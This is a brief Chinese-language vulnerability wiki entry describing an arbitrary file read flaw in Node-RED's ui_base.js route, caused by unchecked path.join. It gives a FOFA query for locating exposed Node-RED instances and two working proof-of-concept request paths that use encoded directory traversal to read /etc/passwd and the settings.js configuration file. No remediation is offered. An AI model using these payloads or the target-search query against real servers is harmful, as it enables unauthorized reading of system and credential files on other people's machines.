Node-RED ui_base 任意文件读取漏洞

漏洞描述

Node-RED 在/nodes/ui_base.js中,URL与'/ui_base/js/*'匹配,然后传递给path.join,

缺乏对最终路径的验证会导致路径遍历漏洞,可以利用这个漏洞读取服务器上的敏感数据,比如settings.js

漏洞影响

[!NOTE]

Node-RED

FOFA

[!NOTE]

title="Node-RED"

漏洞复现

访问页面

image-20210701185722667

验证POC

/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js

image-20210701185812622

image-20210704171045540

PeiQi WiKi文库 all right reserved,powered by Gitbook文件更新时间: 2021-07-04 17:10:46

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